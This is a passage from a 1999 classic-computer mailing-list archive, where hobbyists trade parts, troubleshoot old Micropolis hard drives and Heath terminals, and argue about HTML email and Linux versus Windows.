work, and it's in fairly good condition ( I have a bunch of parts). I'm basically looking for it for sentimental value, since a 5155 was the first IBM-compatible computer that I used. It was in the elementary school that I went to, and neither the floppies or HD worked, so all it ran was ROM BASIC, and saved the programs on cassette. Since I had an old TRS-80, I was fairly familiar with BASIC, and wrote approx. a whole cassette-full of programs on the thing during study halls, free periods, etc. When I was talking to my teacher over the summer, the subject of the 5155 came up, and I ended up asking him if he would find out if the school would want to sell it. Well, the next year, I asked the teacher about it, and he said that the school told him that I could have it. The only problem was that over the summer, it had been "lost". Big surprise when they never found it. Anyway... If anyone has one that they'd like to sell/trade, please email me. I have various XT parts, a 386 full-AT motherboard (upgrade for the 5170 M/B), and an old desktop case. ThAnX, -- -Jason Willgruber (roblwill@usaor.net) ICQ#: 1730318 From mcquiggi at sfu.ca Fri Jan 15 23:01:30 1999 From: mcquiggi at sfu.ca (Kevin McQuiggin) Date: Sun Feb 27 18:40:10 2005 Subject: micropolis 1355 In-Reply-To: References: <19990115164533.AAA3024@p2350> Message-ID: <3.0.1.32.19990115210130.030e6478@ferrari.sfu.ca> Hi Tony: I've been talking up the _other_ common reason for the spindown problem for the last year at least. This is the spindle brake problem, it fails to retract fully, causing the spindle to rub and not get up to speed. I've had two RD53s with this problem, moving the brake solenoid back a bit fixed it in both cases. Kevin At 07:25 PM 99/01/15 +0000, you wrote: >> > The other cure is to open up the HDA and free the head manually. If you >> > do this in reasonably clean conditions (not necessarily a proper clean >> > room) then you should be OK. >> >> I've done that, but now it spins up, and after appr. 1 minute spins down >> again and spins up, .... > >Hmm... I've never seen one do that. The microcontroller is obviously >finding _something_ wrong, but no idea what (yet). > >The Micropolis 1200 8" drives had a very useful facility of a diagnostic >connector on the control board. It brought out a number of useful signals >and also an 8-bit port from the main microcontroller. Add a latch and 8 >LEDs and the thing would display a diagnostic code if it shut down. There >was a table of these in the manual so you could work out _very easily_ >what the problem was. > >I don't know if the 1300 series has anything similar. I don't have the >service manual (I am looking for it, BTW). > >Common problems are that the motor speed hasn't stabilised in time (or >the drive doesn't think it has), the servo can't find the home track (or >it's not locking at all), or the motor is drawing too much current. >Finding out what's going on isn't that hard with a schematic + scope >(looking at the servo drive waveform will tell you if it's locking, etc). > >Are there any unusual noises from the HDA (like an actuator buzzing >because it's not locking on track). Does the head sound as though it's >moving at all? > >> >> Dead ? >> thanks, >> emanuel >> >> >> > >-tony > > > --- Kevin McQuiggin VE7ZD mcquiggi@sfu.ca From yowza at yowza.com Fri Jan 15 23:03:41 1999 From: yowza at yowza.com (Doug Yowza) Date: Sun Feb 27 18:40:10 2005 Subject: DEC RP07 printset available In-Reply-To: Message-ID: I have a *big* set of prints for the RP07. Make me an offer above $2 + shipping or trade, and it's yours. -- Doug From zmerch at 30below.com Fri Jan 15 23:26:56 1999 From: zmerch at 30below.com (Roger Merchberger) Date: Sun Feb 27 18:40:10 2005 Subject: formatting gunk [Re: Commodore 1541 on ebay for $8500.00] In-Reply-To: <071001be40f1$e1088300$11d53d9d@JOEBAR> Message-ID: <3.0.1.32.19990116002656.0092bcd0@mail.30below.com> On or about 05:45 PM 1/15/99 -0800, Joseph S. Barrera III was caught in a dark alley speaking these words: >Sorry. I do have plain text set, but sometimes the mailer thinks it knows >better than I do how my mail should be sent. Erm, are you speaking mailer as in mail *client* or mail *server*. If mail client, there should be a setting that states "Never send HTML." If you're talking about the mail server / mail routing software, it's not supposed to do *anything* to the message for multi-platform conformity. Period. If it is, it's so out-of-whack re: the RFC's that it should be tarred & feathered, shot, gouged, sliced, covered with leeches, and then urinated on. >Excuse me while I send off some nasty internal email about this issue >(again). Who keeps resetting your mailing software? Bill Gates? If so, everything listed above should be done to him, too. Regards, Roger "Merch" Merchberger ===== Roger "Merch" Merchberger -- zmerch@30below.com SysAdmin - Iceberg Computers ===== Merch's Wild Wisdom of the Moment: ===== for (1..15) { print "Merry Christmas\n"; } (from perl.1 man page, version 4.) From zmerch at 30below.com Fri Jan 15 23:31:31 1999 From: zmerch at 30below.com (Roger Merchberger) Date: Sun Feb 27 18:40:10 2005 Subject: Desoldering (was Re: Computers for children (soldering) In-Reply-To: <4.1.19990115164215.00921cd0@mailhost.hq.freegate.com> References: <199901150544.XAA13069@wildride.netads.com> Message-ID: <3.0.1.32.19990116003131.00932d70@mail.30below.com> On or about 04:45 PM 1/15/99 -0800, Chuck McManis was caught in a dark alley speaking these words: >So would I, however a while back (5 years?) someone on sci.electronics >reccomended the desoldering iron that Radio Shack (Tandy in your woods I >believe) sold. This $8.99 wonder was basically a soldering iron with a bulb >on top and a pipe to the tip. This thing works _great_! Yea, well... they work even better if you get the iron-clad tips, otherwise when you're working with older boards that (at least seem to) have more acidic resins, the cheezier tips don't last very long. That, and 5x suction would be nice... been dreaming about hooking up my shopvac to the thing (Tim Allen, eat your heart out... ;-) but never got around to it... See ya, Roger "Merch" Merchberger ===== Roger "Merch" Merchberger -- zmerch@30below.com SysAdmin - Iceberg Computers ===== Merch's Wild Wisdom of the Moment: ===== for (1..15) { print "Merry Christmas\n"; } (from perl.1 man page, version 4.) From joebar at microsoft.com Fri Jan 15 23:59:55 1999 From: joebar at microsoft.com (Joseph S. Barrera III) Date: Sun Feb 27 18:40:10 2005 Subject: formatting gunk [Re: Commodore 1541 on ebay for $8500.00] Message-ID: <001a01be4115$7260fcb0$11d53d9d@JOEBAR> >Erm, are you speaking mailer as in mail *client* or mail *server*. If mail >client, there should be a setting that states "Never send HTML." Mailer client. A pre-pre-release version of Outlook Express 5. There is such a setting, but it gets ignored (apparently) when replying to an HTML message. Feel free to keep beating this dead horse. I'm sure everyone else on this list cares. A lot. - Joe From pctech at davidbowie.com Sat Jan 16 00:22:27 1999 From: pctech at davidbowie.com (PCTech) Date: Sun Feb 27 18:40:10 2005 Subject: formatting gunk [Re: Commodore 1541 on ebay for $8500.00] Message-ID: <000601be4118$983ce220$9eacadce@pctech.davidbowie.com> I never got so many nasty messages as this, and for what because I forgot a setting???Last i checked i was just human, but you never know i might be a system engineer and that would make me impervious to mistakes or something. Again i am sorry!!!!! Brian -----Original Message----- From: Joseph S. Barrera III To: Discussion re-collecting of classic computers Date: Friday, January 15, 1999 10:01 PM Subject: Re: formatting gunk [Re: Commodore 1541 on ebay for $8500.00] >>Erm, are you speaking mailer as in mail *client* or mail *server*. If mail >>client, there should be a setting that states "Never send HTML." > >Mailer client. A pre-pre-release version of Outlook Express 5. > >There is such a setting, but it gets ignored (apparently) when replying to >an HTML message. > >Feel free to keep beating this dead horse. I'm sure everyone else on this >list cares. A lot. > >- Joe > > From gram at cnct.com Sat Jan 16 00:35:26 1999 From: gram at cnct.com (Ward Donald Griffiths III) Date: Sun Feb 27 18:40:10 2005 Subject: OT? On Programming (was: Re: Computers for children) References: <199901152344.AA19764@world.std.com> Message-ID: <36A0332E.64AC65FB@cnct.com> Allison J Parent wrote: > > <(here also known as pain, or Pain In Neck Email). Find the 70K source fil > > that proves any tool is a hammer. I've written good code using BASIC but As my friend Lizard puts it, if the only tool you have is a hammer, every problem looks like your thumb. The only mail program I can use in terminal mode with my ISP is PINE. I despise it, especially the fewkin editor, PICO, (sumbitch won't let me use vi to edit messages). I'm scheduled to get a cablemodem installed in three weeks, when _I_ start making those decisions (and maybe get a decent newsfeed -- an even bigger gripe I've got with my ISP). (Hell, even with Tandy Xenix 15+ years ago, I could set my editor for mail's ~v command -- never had to, since vi was my preferred editor then and now). -- Ward Griffiths WARNING: The Attorney General has determined that Alcohol, Tobacco, and Firearms can be hazardous to your health -- and get away with it. From zmerch at 30below.com Sat Jan 16 01:30:10 1999 From: zmerch at 30below.com (Roger Merchberger) Date: Sun Feb 27 18:40:10 2005 Subject: Almost OT: How can that be? In-Reply-To: <199901152332.SAA13059@smtp.interlog.com> References: <3.0.1.32.19990115012137.00994100@mail.30below.com> <199901160455.XAA23660@armigeron.com> Message-ID: <3.0.1.32.19990116023010.00970a40@mail.30below.com> On or about 04:22 PM 1/15/99 +0000, Lawrence Walker was caught in a dark alley speaking these words: > That I hadn't heard about. What is it's name and where is it available. Name: Perl. (version 4.0.35, IIRC.) Available? Darnit--downloaded it over a year ago... maybe www.perl.org??? > I find it interesting that a CoCo guy is also an ST devotee. >I seem to remember hearing that OS9 was also ported to the ST. >Any sources ? Sources for free? Nope, lest not any legal ones. Also, as I've never run OSK (short for OS-9/68K), I can't tell you much about it other than where you might be able to purchase a (legal) copy fairly cheap. The managing editor of "The world of '68 micros" who also runs "Farna Systems" (Frank G. Swygert) sells OSK motherboards & such - they're pretty expensive for the speed, but have some nice features to them nonetheless... he may have an available copy of OSK for those machines for sale... Warning: I can't tell you if it will run (unmodified or otherwise) on an ST or an Amiga (which could also run OSK, IIRC.) http://www.home.pon.net/kf6ntg/68micros/at306.html email: dsrtfox@delphi.com Also, the MM/1 was considered to be the best contender for the CoCo4 - email Black Hawk Systems at nimitz@delphi.com Anywho, gotta go to bed... long day ahead tomorrow. Hope this helps, Roger "Merch" Merchberger ===== Roger "Merch" Merchberger -- zmerch@30below.com SysAdmin - Iceberg Computers ===== Merch's Wild Wisdom of the Moment: ===== for (1..15) { print "Merry Christmas\n"; } (from perl.1 man page, version 4.) From ddameron at earthlink.net Sat Jan 16 01:40:59 1999 From: ddameron at earthlink.net (dave dameron) Date: Sun Feb 27 18:40:10 2005 Subject: Heath H19, was Computers for children Message-ID: <199901160740.XAA20444@snipe.prod.itd.earthlink.net> At 06:54 PM 1/15/99 +0000, Tony wrote: >> 3 other bits. Much easier to "fix" than the MOS encoder chip, if that chip >> was programmed for a custom matrix, such as the Heath H19 terminal. > >I have the H19 schematics here (well, actually the Z90 schematics, but >AFAIK the 'terminal' part of that computer is a H19), and I'm suprised >that the encoder is custom. There's a ROM between the data outputs of the >keyboard encoder and the data lines of the terminal processor. I would >have thought that would have handled the translation for the custom matrix. > >If they did use a custom version of the encoder chip, then what on earth >is that ROM doing there? > Yes, I found the manual and there is both an encoder AND a ROM. Seems sort of redundant, can only guess why. Many years ago the encoder chip died in mine, and I first tried the generic version of the chip, most likely a GI part. It didn't work, ended up ordering a replacement from Heathkit which did work. Also found that leaving the hinged case cracked open helped with the cooling, the metal flange/heatsink on the pc board gets quite hot. Never upgraded mine to a computer- Z89 or such. Thought at the time there was a neat graphics add on for it as well. -Dave From tim at thereviewguide.com Sat Jan 16 06:18:50 1999 From: tim at thereviewguide.com (Tim Hotze) Date: Sun Feb 27 18:40:11 2005 Subject: Merced - and the ol' Unix story (was Re: OT, but info needed: RAM uprade) In-Reply-To: References: <199901151030.KAA15220@nixpbe.pdb.sni.de> from "Hans Franke" at Jan 15, 99 11:31:34 am Message-ID: <199901161117.DAA16032@geocities.com> > > Thats it, why unix like systems are sill freak places and > > why windoze rulez. I am a USER (ok, at least sometimes) and > > I want instant applications running, and not recompiling > > the OS, half apps and forgett about the other half because > > of missing sources, or some 'changes' and 'patches' I have > > to do - instant on and instant working (playing, what ever). Just a comment: Download pre comiled binaries. Sure, they don't offer the flexibility of source code, but then again, they're just as good as other binaries, sometimes better. And UNIX is a well established OS, and is used in higher ranking places. Sure, a lot of servers these days are NT, but look in banks, etc. where they need high performance and stability, and you'll see UNIX, AIX, BSD, VMS, (sometimes) Linux, anything but WIndows. > My experience is exactly the opposite!. Mine is neutral. I download binaries, unless I have a reason not to. > Over 90% of the time, installing something on this linux machine (which > is anything but standard) consists of unpacking the tar archive and > typing make. That's it. No fiddling about, it just compiles and installs. > Sometimes there's a configuration script to run, but that's no real problem Agreed. Just a few hours ago, I installed Red Hat Linux 5.2 I popped the CD in, it booted. It formated and partitioned my hard drive. It searched my PCI bus for cards, and configured them. If it couldn't find something, it showed me a list of drivers that were compatible. It took 20 minutes 15 seconds to copy the 882MB for a complete install, with everything from compilers to web servers, and the vast majority of the software was pre-configured. Oh, and it took a single restart, from the time I put the CD in. If I hadn't booted from the CD, I could have used the *INCLUDED* boot disk. So basically, I could have started wtih a recently assembled computer and no disks, etc. and a totally empty hard drive and maybe added 30 seconds or so to that figure. Windows 98 took 35:25 to install on the same machine (200MB, but with just 'core' files), and had to restart like 3 times. On top of that, no diskette was included to boot from, and the CD wasn't bootable, so I'd need to have formated my hard drive *AND* located CD-ROM drivers. In short, this is no easy task for most "users". Linux is WAY easier to install. And faster to install. > The other 10% of the time? OK, I have to grab K&R and a unix manual and > patch the source. But that's a lot easier than having to patch the > binaries of a commercial product that doesn't come with source (and yes, > I have had to do that _far_ too often). I have never had to recompile the > kernel, or recomile other parts of my system to install application > programs. Maybe I'm just lucky. That's true. The fact is, however, that usually source is easy to install, and precompiled binaries are available. But you have a LOT more possible flexibility with source. (Heck, you can even change anything you want!) > But I have had no end of problems with commercial programs that make > silly assumptions about the machine (MS-DOS software often assumes that > the floppy drive is A: and the hard disk is C: - and refuses to let you > change this!). Or that misdetect the hardware I have (my enhanced CGA > card has memory at A8000, and is often misdetected as a CGA card) or > whatever. Sorting out that sort of problem is a lot worse than patching C > source. Same thing here. Windows recognizes my zip drive as a 3.5" floppy, and makes it B: Also, as far as I an tell, the drive letter has nothing to do with it's location, which means that should you need to go mucking about in your case, say, remove drive D to replace it, as it's faulty, you wouldn't know where to look. /dev/hdc . Oh my goodness! That makes it too easy. Master drive, second IDE connector. And it really, really works! > I don't think I've bought a commercial program for a long time that > installed with no problems. But linux stuff is no problem at all. I've gotten lots of commercial programs with no problems. But I've gotten just as good 'luck' with Linux. The differance? More flexibility, more possibility, and better software than with Windows. (That, and you're using more than 32-bit extensions to 16-bit patches to an 8-bit OS with Windows 9x, or 32-bit extensions to a 16-bit OS with Windows NT.) > -tony Tim ******************************************** *Tim D. Hotze - Co-Founder, The ReviewGuide* *tim@thereviewguide.com * *http://www.thereviewguide.com * ******************************************** From doug at blinkenlights.com Sat Jan 16 05:36:13 1999 From: doug at blinkenlights.com (Doug) Date: Sun Feb 27 18:40:11 2005 Subject: Merced - and the ol' Unix story (was Re: OT, but info needed: RAM uprade) In-Reply-To: <199901161117.DAA16032@geocities.com> Message-ID: On Sat, 16 Jan 1999, Tim Hotze wrote: > In short, this is no easy task for most "users". Linux is WAY > easier to install. And faster to install. Oy. I just spent the last five hours trying to install Red Hat 5.2. It turns out that the "stable" kernel Red Hat ships doesn't support my weird-ass 2048-byte-per-sector SCSI disk. But the latest unstable kernel does, so I just downloaded a 12MB tar file, configured the kernel (2.1 has a zillion config options), will let the damn thing build while I sleep, and I'll build a new boot floppy tomorrow.... But am I complaining? No. If I had hardware MS didn't support, I'd simply be SOL. With Linux, I can hack it, or discover that somebody already hacked it for me. Source is a Very Good Thing. ObCC: Around 1980 or so, I knew somebody with a license plate that said "Unix: Live Free or Die". Was this issued by Bell Labs? And who has one they'd like to sell? Doug (the artist formerly known as Yowza) Blinkenlights Archeological Institute, Dusty Deck Division From gram at cnct.com Sat Jan 16 07:22:07 1999 From: gram at cnct.com (Ward Donald Griffiths III) Date: Sun Feb 27 18:40:11 2005 Subject: Merced - and the ol' Unix story (was Re: OT, but info needed: RAM uprade) References: Message-ID: <36A0927F.8BE7AA35@cnct.com> Doug wrote: > ObCC: Around 1980 or so, I knew somebody with a license plate that said > "Unix: Live Free or Die". Was this issued by Bell Labs? And who has one > they'd like to sell? That was DEC, when they were first plugging Ultrix. It's basically a New Hampshire license plate from the era. ("Live free or die" is the New Hampshire state motto, the only notable quote from the commander of the New Hampshire militia during the War of Independence, as a commander be was otherwise ignored in the history books, as the New Hampshire contingent wasn't big and flashy like the ones from the populated states like Massachusetts and Virginia). There have been several issues of that trade show souvenir, unfortunately I missed the trade shows they were given out at (or was working a booth half a mile away, back in the early days). I'd like one myself, though the revolutionary spirit lives on more in Linux than in Unix (though I've got my AT&T 7300s, my Sun 4/360 [that one helps me keep warm in my basement computer room right now] and my Tandy 6000 as representatives of closed-source Unix systems here (the SCO HDs are shelved at the moment along with the AT&T SysV/386 ESDI drives, but either of those flavors will also boot if I attach them to the right machines). I'm told DEC has reissued the plates saying Linux instead of Unix, as Linux has spurred the sale of a _lot_ of Alphas, and the company actually cooperated when Maddog and others were doing the port. I have no idea of the status under Compaq management. -- Ward Griffiths WARNING: The Attorney General has determined that Alcohol, Tobacco, and Firearms can be hazardous to your health -- and get away with it. From rigdonj at intellistar.net Sat Jan 16 09:41:04 1999 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:40:11 2005 Subject: VAX-11 book In-Reply-To: <4.1.19990115140055.00b01220@206.231.8.2> References: <3.0.1.16.19990115111007.2fa70942@intellistar.net> Message-ID: <3.0.1.16.19990116094104.39c77dc4@intellistar.net> Chris, OK send your address and it's your's. If you have any HP stuff (catalogs, HP Journals, HP calculator or computer stuff) or find any in the future you can send it to me in exchange. Joe At 02:04 PM 1/15/99 -0500, you wrote: > >Hi Joe, > >I could use the VAX-11 Assy book as I've got an 11/730 I want to get up and >running and actually hack. The book could help with my MVII too, I suppose. > >Thanks for the offer Joe, > >Regards, Chris >-- -- > >======================================================= >Christian R. Fandt, Electronic/Electrical Historian >31 Houston Avenue Phone: +716-488-1722 -Home >Jamestown, New York email: cfandt@netsync.net >14701-2627 USA > Member of Antique Wireless Association > URL: http://www.ggw.org/freenet/a/awa/ > > > From allisonp at world.std.com Sat Jan 16 08:37:51 1999 From: allisonp at world.std.com (Allison J Parent) Date: Sun Feb 27 18:40:11 2005 Subject: micropolis 1355 Message-ID: <199901161437.AA16740@world.std.com> <> > The other cure is to open up the HDA and free the head manually. If you <> > do this in reasonably clean conditions (not necessarily a proper clean <> > room) then you should be OK. <> <> I've done that, but now it spins up, and after appr. 1 minute spins down <> again and spins up, .... < <3.0.1.16.19990116094104.39c77dc4@intellistar.net> Message-ID: <36A0AA82.63EC1A41@rain.org> Last night I was given (what I think is) another computer labeled Nicolet Model XF44. It has two 5 1/4" floppies on the front along with a few other controls/indicators labeled STORE, RECORD, RECALL, UNPROTECT, RECORD SEGMENT UP/DOWN, and AUTOCYCLE. The size is about 4" high, 17" wide, and probably 20" deep. Anyone know what this is? Thanks. From allisonp at world.std.com Sat Jan 16 09:45:13 1999 From: allisonp at world.std.com (Allison J Parent) Date: Sun Feb 27 18:40:11 2005 Subject: Merced - and the ol' Unix story (was Re: OT, but info needed: RAM uprade) Message-ID: <199901161545.AA21105@world.std.com> I am helping a friend add a CDROM to his Compaq system. It has is an IDE cable but the driver that came with the CDROM does not recognize the drive. I suspect the IDE address and/or IRQ may not have been standard at that time. Does anyone have the tech specs on this compaq system? I've checked the Compaq support site and though there is some info it is not terribly helpful. Regards, -- Hans B Pufal Tel: +33 (0)476 12 90 24 /\ Field Application Engineer Mobile: +33 (0)607 71 77 02 /\/\ American Megatrends International _---_--__-_-_----__-_----_-__-__-_-___--_-__--___-__----__--_--__-___- Hans B Pufal Comprehensive Computer Catalogue Hans B Pufal Avigo developers resource Hans B Pufal DEC PDP-9 Restoration Project From doug at blinkenlights.com Sat Jan 16 10:44:11 1999 From: doug at blinkenlights.com (Doug) Date: Sun Feb 27 18:40:11 2005 Subject: Nicolet XF44 In-Reply-To: <36A0AA82.63EC1A41@rain.org> Message-ID: On Sat, 16 Jan 1999, Marvin wrote: > Last night I was given (what I think is) another computer labeled Nicolet > Model XF44. It has two 5 1/4" floppies on the front along with a few other > controls/indicators labeled STORE, RECORD, RECALL, UNPROTECT, RECORD SEGMENT > UP/DOWN, and AUTOCYCLE. The size is about 4" high, 17" wide, and probably > 20" deep. Anyone know what this is? Thanks. They made test instruments, and the buttons sound like trace buffer controls for a logic analyzer. Doug (the artist formerly known as Yowza) Blinkenlights Archeological Institute, Dusty Deck Division From ard at p850ug1.demon.co.uk Sat Jan 16 10:51:43 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:11 2005 Subject: Questions on today's acquisitions In-Reply-To: <199901160259.SAA18427@avocet.prod.itd.earthlink.net> from "Tom Owad" at Jan 15, 99 10:00:16 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 836 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990116/637482cb/attachment.ksh From ard at p850ug1.demon.co.uk Sat Jan 16 11:00:32 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:11 2005 Subject: Anyone have an extra IBM 5155 laying around?? In-Reply-To: <01be4124$b7523a00$6c8ea6d1@the-general> from "Jason Willgruber" at Jan 15, 99 11:49:16 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1026 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990116/79790aac/attachment.ksh From ard at p850ug1.demon.co.uk Sat Jan 16 10:57:11 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:11 2005 Subject: Heath H19, was Computers for children In-Reply-To: <199901160740.XAA20444@snipe.prod.itd.earthlink.net> from "dave dameron" at Jan 15, 99 11:40:59 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1382 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990116/e703f091/attachment.ksh From ard at p850ug1.demon.co.uk Sat Jan 16 11:09:27 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:11 2005 Subject: Merced - and the ol' Unix story (was Re: OT, but info needed: RAM uprade) In-Reply-To: <199901161117.DAA16032@geocities.com> from "Tim Hotze" at Jan 16, 99 08:18:50 am Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 2832 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990116/56dedd9d/attachment.ksh From ard at p850ug1.demon.co.uk Sat Jan 16 11:13:54 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:11 2005 Subject: Nicolet XF44 In-Reply-To: <36A0AA82.63EC1A41@rain.org> from "Marvin" at Jan 16, 99 07:04:34 am Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 628 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990116/1e20712e/attachment.ksh From meo at netads.com Sat Jan 16 11:42:42 1999 From: meo at netads.com (Miles O'Neal) Date: Sun Feb 27 18:40:11 2005 Subject: thoughts on UNIX and older systems Message-ID: <199901161742.LAA22341@wildride.netads.com> All this noise about the younger OSes (Linux, FreeBSD) got me thinking. I vaccilate between amused and annoyed over the bickering between the Linux and FreeBSD contingents. That kind of thing is part of the reason Windoze owns as much of the matket as it does. I realize nobody could predict the way it would take off, but when MS first started to own the desktop, the *users* of UNIX should have started cooperating. But instead, they went along with the vendor factions, and Windoze won. Yeah, I know, it was somewhat inevitable. But I don't think it would have been quite as bad as it is. So learn from history. Feel free to argue in private, but in public, I'd push the overall UNIX-like OS, with just a recommendation. Of course, it's a good feeling to even have the option. Because 10 - 12 years ago, what were your UNIX options, if you weren't the government or a university? 1) You could buy expensive hardware that ran a UNIX variant. 2) You bought a workstation from Sun or Apollo - still not cheap. 3) If you were lucky, you got one of the few Cromemcos or Perkin-Elmer desktops, that ran UNIX. But they weren't much less expensive than the Sun, Apollo, etc workstations. (Fortune's desktops were in the workstation price range.) 4) If you were really lucky, you found a good deal on a used PDP from someone with a UNIX license who forgot to wipe the disks or tapes - but then you were illegal. 5) You bought Minix. Minix was cheap, and you got source, but it was really meant to be a teaching tool. It was well done, but extremely limited. (Nevertheless, Tanenbaum's _Operating Systems Design and Implementation_ is still an excellent book.) 6) If you were *really* lucky, you got a good deal on a working workstation. Just out of curiosity, does anyone have a Perkin-Elmer desktop running Linux? IIRC, it was pretty much a straight port of whatever was current from bell Labs at the time - or maybe an older version. -Miles From kyrrin at bluefeathertech.com Sat Jan 16 11:38:29 1999 From: kyrrin at bluefeathertech.com (Bruce Lane) Date: Sun Feb 27 18:40:11 2005 Subject: TK50Z-GA EPROM Message-ID: <3.0.5.32.19990116093829.0093d100@mail.bluefeathertech.com> A non-text attachment was scrubbed... Name: not available Type: text/enriched Size: 1104 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990116/00d482cd/attachment.bin From ckaiser at oa.ptloma.edu Sat Jan 16 12:18:38 1999 From: ckaiser at oa.ptloma.edu (Cameron Kaiser) Date: Sun Feb 27 18:40:11 2005 Subject: formatting gunk [Re: Commodore 1541 on ebay for $8500.00] In-Reply-To: <001a01be4115$7260fcb0$11d53d9d@JOEBAR> from "Joseph S. Barrera III" at Jan 15, 99 09:59:55 pm Message-ID: <199901161818.KAA14720@oa.ptloma.edu> A non-text attachment was scrubbed... Name: not available Type: text Size: 631 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990116/5408f872/attachment.ksh From dastar at ncal.verio.com Sat Jan 16 12:15:21 1999 From: dastar at ncal.verio.com (Sam Ismail) Date: Sun Feb 27 18:40:11 2005 Subject: thoughts on UNIX and older systems In-Reply-To: <199901161742.LAA22341@wildride.netads.com> Message-ID: On Sat, 16 Jan 1999, Miles O'Neal wrote: > All this noise about the younger OSes (Linux, FreeBSD) > got me thinking. I vaccilate between amused and annoyed > over the bickering between the Linux and FreeBSD contingents. > That kind of thing is part of the reason Windoze owns as > much of the matket as it does. I realize nobody could > predict the way it would take off, but when MS first started > to own the desktop, the *users* of UNIX should have started > cooperating. But instead, they went along with the vendor > factions, and Windoze won. Here's an analogy for you: Linux = DOS FreeBSD = CP/M Therefore, Linux will come to dominate the world. So don't worry. Sellam Alternate e-mail: dastar@siconic.com ------------------------------------------------------------------------------ Always being hassled by the man. Coming in 1999: Vintage Computer Festival 3.0 See http://www.vintage.org/vcf for details! [Last web site update: 12/27/98] From george at racsys.rt.rain.com Sat Jan 16 12:42:06 1999 From: george at racsys.rt.rain.com (George Rachor) Date: Sun Feb 27 18:40:11 2005 Subject: Apricot F10 In-Reply-To: Message-ID: Spotted a curious find last night... It was labeled Apricot F10. It was narrow and had a minidisk slot in the front. In the back it had what looked like a rca jack (Video?), a parallel port (Centronics) a nine pin(serial) and something like a DB25. I suspect this is an expansion unit for the apricot line as I saw no obvious keyboard port unless it was the DB-25... Anybody recognize this? George Rachor ========================================================= George L. Rachor george@racsys.rt.rain.com Beaverton, Oregon http://racsys.rt.rain.com United States of America Amateur Radio : KD7DCX From pete at dunnington.u-net.com Sat Jan 16 13:14:32 1999 From: pete at dunnington.u-net.com (Pete Turnbull) Date: Sun Feb 27 18:40:11 2005 Subject: Merced - and the ol' Unix story (was Re: OT, but info needed: RAM uprade) In-Reply-To: Ward Donald Griffiths III "Re: Merced - and the ol' Unix story (was Re: OT, but info needed: RAM uprade)" (Jan 16, 8:22) References: <36A0927F.8BE7AA35@cnct.com> Message-ID: <9901161914.ZM2528@indy.dunnington.u-net.com> On Jan 16, 8:22, Ward Donald Griffiths III wrote: > Subject: Re: Merced - and the ol' Unix story (was Re: OT, but info needed > Doug wrote: > > > ObCC: Around 1980 or so, I knew somebody with a license plate that said > > "Unix: Live Free or Die". Was this issued by Bell Labs? And who has one > > they'd like to sell? > > That was DEC, when they were first plugging Ultrix. DEC may have done so, but they originally came from Armando Stettner, one of the early Unix developers, at one of the unix conferences. I don't think Ultrix goes quite as far back as 1980? -- Pete Peter Turnbull Dept. of Computer Science University of York From pete at dunnington.u-net.com Sat Jan 16 12:23:32 1999 From: pete at dunnington.u-net.com (Pete Turnbull) Date: Sun Feb 27 18:40:11 2005 Subject: Commodore 1541 on ebay for $8500.00 In-Reply-To: jpero@cgocable.net "Re: Commodore 1541 on ebay for $8500.00" (Jan 15, 20:37) References: <059b01be40e4$6f146000$11d53d9d@JOEBAR> <199901160136.UAA06516@mail.cgocable.net> Message-ID: <9901161823.ZM2478@indy.dunnington.u-net.com> On Jan 15, 20:37, jpero@cgocable.net wrote: > Subject: Re: Commodore 1541 on ebay for $8500.00 > Date sent: Fri, 15 Jan 1999 17:35:25 -0800 > Send reply to: classiccmp@u.washington.edu > From: "Zane H. Healy" > To: "Discussion re-collecting of classic computers" > Subject: Re: Commodore 1541 on ebay for $8500.00 > > > Hey, that's impressive. By default my e-mail program which can handle this > > garbage displayed a blank screen. Simply put people, _PLEASE_ use plain > > text. I'm quoting the garbage so you can see the garbage you're sending. > > 34 lines of crap for 1 line of message, that's MicroSlop for you. > > > > Zane > > Now I don't waste on this and they get killed on sight unread. > > Jason D. That's exactly what I do, and I suspect that many other readers do the same. It's not even good HTML -- with all those font and colour requirements that many systems couldn't honour. Like Zane, I use a mail reader that can handle MIME, but it often fails on the bad HTML and/or screwy MIME-types that some messages contain. -- Pete Peter Turnbull Dept. of Computer Science University of York From pete at dunnington.u-net.com Sat Jan 16 12:14:07 1999 From: pete at dunnington.u-net.com (Pete Turnbull) Date: Sun Feb 27 18:40:11 2005 Subject: Merced - and the ol' Unix story (was Re: OT, but info needed: RAM uprade) In-Reply-To: "Max Eskin" "Re: Merced - and the ol' Unix story (was Re: OT, but info needed: RAM uprade)" (Jan 15, 19:35) References: <199901160036.QAA18090@geocities.com> Message-ID: <9901161814.ZM2472@indy.dunnington.u-net.com> On Jan 15, 19:35, Max Eskin wrote: > In fact, I've always found the limitations of DOS and PCs curious. Does > anyone know why: > > *They refuse to boot from anything but A: or C: > *DOS FDISK refuses to create more than 1 primary partition > *DOS can't find an ATAPI cd-rom without a driver, even though it's an IDE > device Pass. > *Why we are limited to 2 floppy drives in DOS Actually, you can have 4, if you have a controller at the secordary floppy controller address as well as at the primaryfloppy controller address. Each controller can only have two drives because of a silly hardware setup chosen by IBM. On a normal SA400-style interface, there are 4 drive selects, and one of each other control signal; each control signal is normally gated (on the drive) with the approriate select line. IBM chose to use an arrangement where completely separate motor-on signals were provided for the two drives. The way they did this was to arrange the signals in the cable such that one drive used a particular drive select and the motor signal in the standard place, and the other drive used a different select with the moror signal on a different wire. Hence the infamous 